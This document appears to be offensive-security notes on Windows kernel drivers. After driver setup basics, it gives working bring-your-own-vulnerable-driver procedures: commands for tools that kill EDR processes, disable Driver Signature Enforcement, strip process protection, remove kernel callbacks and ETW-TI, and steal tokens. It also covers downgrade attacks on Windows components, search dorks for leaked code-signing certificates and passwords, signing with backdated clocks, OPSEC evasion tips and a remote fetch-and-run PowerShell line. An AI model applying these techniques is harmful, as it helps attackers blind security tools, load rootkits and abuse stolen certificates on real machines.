- Visual studio
- C++ Workload
- Windows SDK and Windows Driver Kit
- Make sure the WDK and SDK versions match!
- Make sure to select
Install Windows Driver Kit Visual Studio extension
- Disable secure boot on the VM and Enable testsigning mode, then reboot machine
bcdedit /set testsigning on
- Receive debug output. Run DebugView from Sysinternals as administrator
- Add filter to filter for the
[DRIVERNAME]
- Add filter to filter for the
- Create a new project with template
Empty WDM driver - Delete the
.inffile underDriver Filesas its not needed for a minimal setup - Add a new
.cppsource file
sc create <SERVICE NAME> type= kernel binPath="<PATH TO SYS FILE>"
sc start <SERVICE NAME>
- Via WIN32API
- OpenSCManagerA - Opens a connection to the Service Control Manager
- CreateService - Register a new service
- StartService - Start the service
sc stop <SERVICE NAME>
sc delete <SERVICE NAME>
- Via Win32API
- OpenService - Retrieve a handle to existing service
- ControlService - Send control code to the service - Stop the service
- DeleteService - Delete the service
- https://github.com/0xJs/FirstDriver
- SendDriver - Receives data from sendclient
- IoCreateDevice - Create device object
- IoCreateSymbolicLink - Create symbolic link for the client to communicate with
- IoGetCurrentIrpStackLocation - Get a pointer to I/O stack location
- Read the message from
Irp->AssociatedIrp.SystemBuffer - IofCompleteRequest - Complete I/O operations
- SendClient - Sends data to driver
- CreateFileW - Open a handle to the driver using symbolic link
- DeviceIoControl - Send control code to the driver
- GetDriver - Send data to getclient
- IoCreateDevice - Create device object
- IoCreateSymbolicLink - Create symbolic link for the client to communicate with
- IoGetCurrentIrpStackLocation - Get a pointer to I/O stack location
- RtlCopyMemory - Copy the message into Systembuffer to be send to user-mode
- IofCompleteRequest - Complete I/O operations
- GetClient - Receives data from driver
- CreateFileW - Open a handle to the driver using symbolic link
- ReadFile - Read data from the driver
- These techniques requires local administrator / system privileges.
- Most common techniques;
- Sign your driver with a leaked certificate
- If VBS and HVCI is disabled
- Use a R/W Vulnerable driver to bypass DSE and load rootkit
- If Secure boot is disabled
- Enable Testsigning mode (Disables DSE)
- Disable VBS/HVCI
- Bring your own vulnerable, still valid, not blocked, driver
- Use a R/W Vulnerable driver to read and write kernel memory, bypassing defenses
- Use a
ZwTerminateProcessIOCTL vulnerable driver to kill EDR processes
- Windows Hardware Quality Labs (WHQL)
- Since 2016, all third-party kernel-mode drivers must be submitted through WHQL to be signed by Microsoft.
- This process ensures drivers are validated for security and stability before being allowed on Windows.
- WHQL signing is mandatory for drivers to be distributed through Windows Update and Microsoft Update Catalog.
- Exception: Drivers signed before July 29, 2015 can still be loaded without re-submission, though Microsoft may block known-vulnerable ones.
- Tools like HookSignTool have been used to re-sign drivers by hijacking legacy signatures, but this is considered a legacy bypass and may no longer be viable on modern systems (especially with HVCI or VBS enabled).
- Driver Signature Enforcement (DSE)
- A mandatory security feature since Windows Vista x64, ensuring that only signed kernel-mode drivers are loaded.
- Enforced via the Code Integrity engine (
CI.dll), which includes a global variableg_CiOptions:0x6– DSE Enabled (default)0x0– DSE Disabled0xE– Test Signing Mode (allows test-signed drivers)
- Disabling DSE directly (via patching
g_CiOptions) is protected by:- PatchGuard (aka Kernel Patch Protection)
- HyperGuard (on supported hardware)
- Virtualization-Based Security (VBS) in modern Windows
- Attempts to modify kernel memory (like
g_CiOptions) from within drivers are blocked, making direct tampering extremely difficult or unstable.
- Virtualization-Based Security (VBS)
- A platform-level security feature that uses hardware virtualization (e.g., Intel VT-x or AMD-V) to create isolated memory regions for sensitive OS components.
- Enables features such as:
- Credential Guard (protects secrets like NTLM hashes and Kerberos tickets)
- Hypervisor-Enforced Code Integrity (HVCI)
- Secure Kernel Mode execution
- When enabled, VBS isolates critical components from the rest of the OS, making kernel exploits significantly harder.
- Many driver enforcement policies become significantly stricter when VBS is enabled.
- Required for several enterprise-level protections and enabled by default on many newer Windows 11 systems.
- Disabling VBS disables dependent features like HVCI and reduces overall kernel protection.
- Hypervisor-Enforced Code Integrity (HVCI)
- Component of VBS that uses Hyper-V to isolate and protect kernel code integrity policies. Enabled by enabling memory integrity within Defender dashboard.
- Prevents unsigned or improperly signed kernel-mode drivers from being loaded.
- Requires drivers to be:
- Signed with EV certificates (WHQL program)
- HVCI-compatible (e.g., no legacy functions or unsupported calls)
- Since Windows 11 (2022 Update), Microsoft enables the vulnerable driver blocklist by default across all devices. This blocklist:
- Is maintained by Microsoft and updated 1–2 times per year
- Blocks known vulnerable, signed drivers even if they are otherwise valid.
- Windows Defender Application Control (WDAC)
- A Windows security feature that defines what code is allowed to run, including drivers.
- Can block both:
- Unsigned drivers
- Signed but vulnerable drivers (by using the Microsoft Recommended Driver Blocklist)
- Enforced via:
- WDAC policies (enterprise-configurable)
- Smart App Control (consumer-focused, Windows 11)
- WDAC may be stricter than HVCI because it allows organizations to enforce the most up-to-date blocklists, which may be newer than those bundled with HVCI.
- Secure Boot
- A UEFI firmware-level security feature that ensures only trusted bootloaders and kernel-mode drivers are executed at startup.
- Uses public key infrastructure (PKI) to validate the signatures of boot components (including early boot drivers).
- Blocks boot-start unsigned or tampered drivers even before Windows fully loads.
- Must be enabled in UEFI settings, and relies on OEM firmware trust chains (e.g., Microsoft’s keys)
- Enumerates Signing mode, HVCI and VBS and some extra's
- https://github.com/0xJs/EnumMitigations/
.\EnumMitigations.exe
- Microsoft accidentally signed several malware drivers
- It is technically possible to have a driver signed by Microsoft WHQL by joining the program, which means even a vulnerable driver could obtain a valid signature. While unlikely, this could involve misuse that may fall into illegal activity.
- Drivers have to be signed with a trusted certificate.
- Some drivers are vulnerable because their symbolic links are accessible to any user, allowing unprivileged processes to send IOCTL requests due to insecure use of
IoCreateDevicewhen creating the driver interface. - OPSEC: Rename the file and file extension to
.bin, do not use.sys
- There are multiple ways vulnerable drivers may be blocked;
- Hypervisor-Enforced Code Integrity (HVCI) driver blacklist
- Prevents kernel-mode drivers that are not signed by known-good certificates when HVCI (memory integrity) is turned on.
- With Windows 11 2022 update, the vulnerable driver blocklist is enabled by default for all devices. It is updated with each new major release, typically 1-2 times per year.
- Microsoft's Vulnerable Driver Blocklist
- Prevents vulnerable signed drivers from being loaded. Its enabled via Windows Defender Application Control (WDAC) or Smart App Control (in Windows 11). The latest recommended driver blocklist can be found here.
- Attack Surface Reduction rules
- Block abuse of exploited vulnerable signed drivers - This rule prevents an application from writing a vulnerable signed driver to disk
- EDR/AV may detect the vulnerable driver
- Hypervisor-Enforced Code Integrity (HVCI) driver blacklist
- List of vulnerable drivers
- https://loldb.xsec.fr/ (Better, uses data from loldrivers + extra information)
- https://www.loldrivers.io/
- https://byovd-watchdog.pwnfuzz.com/
- Extracts the driverspolicy applied to the machine
- Link to script mattifestation policy parser
Iex (iwr https://gist.githubusercontent.com/mattifestation/92e545bf1ee5b68eeb71d254cec2f78e/raw/a9b55d31075f91b467a8a37b9d8b2d84a0aa856b/CIPolicyParser.ps1 -UseBasicParsing)
ConvertTo-CIPolicy -BinaryFilePath 'C:\Windows\System32\CodeIntegrity\driversipolicy.p7b' -XmlFilePath driversipolicy.xml- Microsoft's vulnerable driver blocklist XML.
python finder.py driversipolicy.xml
- It is possible to change the filehash without corrupting the authentihash
- Changing file hash will not work to bypass the driver blocklist. It is based on cert signers, filename and versions and authentihashes
- Works on bypassing file signature detections of EDR's
- https://github.com/med0x2e/SigFlip
.\SigFlip.exe -b "truesight.sys" "truesight-edited.sys"
Get-FileHash truesight.sys
Algorithm Hash
--------- ----
SHA256 BFC2EF3B404294FE2FA05A8B71C7F786B58519175B7202A69FE30F45E607FF1C
Get-FileHash truesight-edited.sys
Algorithm Hash
--------- ----
SHA256 CD56F9C9FC0D83BF372A6EC356E728F555FE180543A661F809D1372F4FA45903
- Good and better source on how to do this: https://github.com/BlackSnufkin/BYOVD/tree/main
- https://alice.climent-pommeret.red/posts/process-killer-driver/
- Used for killing processes such as EDR their processes
- Open the driver and look for
ZwTerminateProcessorNtTerminateProcessimported fromntoskrnl.execalls using CFF Explorer, PE Bear, IDA or the below python script which parses the imports
import os
import sys
import pefile
def check_driver_imports(folder_path):
# ANSI escape codes for colors
RED = '\033[91m'
WHITE = '\033[97m'
RESET = '\033[0m'
# Check each file in the specified directory
for filename in os.listdir(folder_path):
filepath = os.path.join(folder_path, filename)
if os.path.isfile(filepath):
try:
pe = pefile.PE(filepath)
has_zwterminateprocess = False
# Check if the PE file imports from ntoskrnl.exe
for entry in pe.DIRECTORY_ENTRY_IMPORT:
if entry.dll.decode().lower() == 'ntoskrnl.exe':
# Check each imported function
for function in entry.imports:
if function.name is not None:
if function.name.decode() == 'ZwTerminateProcess':
has_zwterminateprocess = True
if has_zwterminateprocess:
print(f"{RED}{filename} imports ZwTerminateProcess from ntoskrnl.exe{RESET}")
else:
print(f"{WHITE}{filename} does not import ZwTerminateProcess from ntoskrnl.exe{RESET}")
except Exception as e:
pass
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python script.py <path_to_folder>")
sys.exit(1)
folder_path = sys.argv[1]
check_driver_imports(folder_path)- Open the driver in a reversing tool such as IDA pro and search & click on the
ZwTerminateProcessorNtTerminateProcessfrom the imports tabs - Use cross reference on the API call. (Press
xin IDA) - Select the function and then press F5 to decompile it
- Keep using cross reference on callers until
DeviceIoControlmajor function that exposesIOCTLcode andsystemBufferthat is holding the PID of the process to kill. - Use cross reference again to get into
DriverEntryto lookup for the device name
- Also called the "What Where" vulnerability
- Exploitation concepts;
- Changing Process Protection Levels
- Disable Runasppl LSASS protection
- Removing Kernel Callbacks
- Disabling ETW providers
- Change process token
- Privilege escalation to system
- Downgrade EDR's token
- Disable DSE in case VBS is disabled and load unsigned driver
- Changing Process Protection Levels
- Disables DSE and loads unsigned rootkit driver
- https://github.com/0xJs/BYOVD_read_write_primitive
.\DSERemover.exe- Changes the protection level of a process by reading and writing inside kernel memory
- https://github.com/0xJs/BYOVD_read_write_primitive
.\ProtectionChanger.exe -p <PID> -v <NEW PROTECTION LEVEL>
- Disables all kernel callbacks by reading and writing inside kernel memory
- https://github.com/0xJs/BYOVD_read_write_primitive
.\KernelCallbackRemover.exe -d
- Disables the ETwTi provider by reading and writing inside kernel memory
- https://github.com/0xJs/BYOVD_read_write_primitive
.\ETwTiRemover.exe -d
- Changes/steals the token of the process by reading and writing inside kernel memory
- https://github.com/0xJs/BYOVD_read_write_primitive
.\TokenChanger.exe --tp <TARGET PID> --SP <SOURCE PID>
.\TokenChanger.exe --EDR --SP <SOURCE PID>
- Using
ZwOpenProcessto open handle andZwTerminateProcessfor terminating processes - Mostly a security driver (Anti-malware or Anti-Rootkit)
- Examples:
- Adlice - https://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398/
- PC Tools - https://www.loldrivers.io/drivers/bd9f084e-b235-4978-bf2a-5f1dc02937df/
- Virag - https://www.loldrivers.io/drivers/7edb5602-239f-460a-89d6-363ff1059765/
- Wsftprm - https://www.loldrivers.io/drivers/30e8d598-2c60-49e4-953b-a6f620da1371/
- Disable's EDR process by killing it within a loop
- https://github.com/0xJs/BYOVD_EDRKiller/tree/main
.\EDRKiller_Wsftprm.exe
Manual cleanup
sc stop wsftprm
sc delete wsftprm
del C:\Windows\System32\Drivers\wsftprm.sys
- Patched for Windows 11 23H2 as KB5037771 Source but bypasses DSE.
- Bring your own vulnerable version. Downgrade update/secure files/software/components to old/vulnerable ones
- Project which automates this; https://github.com/SafeBreach-Labs/WindowsDowndate
- Requirements;
- Restart of the Windows machine
- Tool to downgrade WindowsUpdate critical files
- https://github.com/SafeBreach-Labs/WindowsDowndate/tree/main/examples/ItsNotASecurityBoundary-Patch-Downgrade
- Overwrites
securekernel.exe,ci.dllandci.dll.mui - Create Executable
pip install -U pyinstaller
pyinstaller --onefile .\windows_downdate.py
cp .\dist\windows_downdate.exe .
python .\windows_downdate.py
.\windows_downdate.exe --config-xml <CONFIG .XML>
- DSE Bypass by patching memory, loads an unsigned driver
- https://github.com/gabriellandau/ItsNotASecurityBoundary
.\ItsNotASecurityBoundary.exe <DRIVER.SYS>
- The dark web is one of the main platforms for selling codesigning certificates, including Extended Validation (EV) certificates to sign critical code such as Windows drivers
- Certificates from Nvidia, Frostburn studios and Comodo have been leaked and abused.
- https://unknowncheats.me
- https://www.unknowncheats.me/forum/anti-cheat-bypass/587763-sign-kernel-driver-leaked-certificate.html
# Certificates
intitle:"index of" (pfx | p12) or intitle:"index of" "backup" (pfx | p12)
# Password files
intitle:"index of" (pfx | p12) (password | credentials) (txt | doc | docx
| pdf)
intitle:"index of" (pfx | p12) (txt | doc | docx | pdf)
# Signtool repositories
https://github.com/search?q=signtool&type=code
# PFX or P12 files
https://github.com/search?q=signtool+extension%3Apfx&type=code
https://github.com/search?q=signtool+extension%3Ap12&type=code
# Hardcoded passowrds in signtool command line
https://github.com/search?q=signtool+%2Fp&type=code
- Search for public PFX and P12 files in Public cloud storage such as S3 buckets and
- Search Engines Specific code repositories;
Searchcode: "signtool" "/p" "password"
Sourcegraph: (pfx OR p12) AND (signtool /p OR signtool.exe /p)
- From the Windows SDK
- Add signtool
C:\Program Files (x86)\Windows Kits\10\bin\10.0.26100.0\x64to the PATH - Set the system time and date to something like 20 June 2015
- Does not work for expired certificates as its expired and the API's won't be hooked as in SigntoolEx or DSigntool
signtool.exe sign /v /ac <PATH TO CRT FILE> /f <PATH TO PFX> /p <PASSWORD> /t "http://timestamp.digicert.com/" /fd SHA256 <PROGRAM TO SIGN>
- https://github.com/hackerhouse-opensource/SignToolEx
- Add signtool
C:\Program Files (x86)\Windows Kits\10\bin\10.0.26100.0\x64to the PATH
SignToolEx.exe sign /v /f <PATH TO PFX> /p <PASSWORD> /fd SHA256 <PROGRAM TO SIGN>
- https://www.unknowncheats.me/forum/anti-cheat-bypass/587763-sign-kernel-driver-leaked-certificate.html
- This worked to sign a unsigned driver and then sign and load it on Windows server 2022! Doesn't work on latest W11!
- Had some problems loading the Henan cert but it worked eventually
- Requirements;
- Secure boot to be disabled
- Restart of the Windows machine
- Enabled testsigning mode will permit test-signed drivers with DSE, then loading unsigned drivers is possible.
bcdedit /set testsigning on
bcdedit /set testsigning off
- Useful when DSE is disabled, test signing is enabled or when you have a leaked certificate
- https://github.com/Idov31/Nidhogg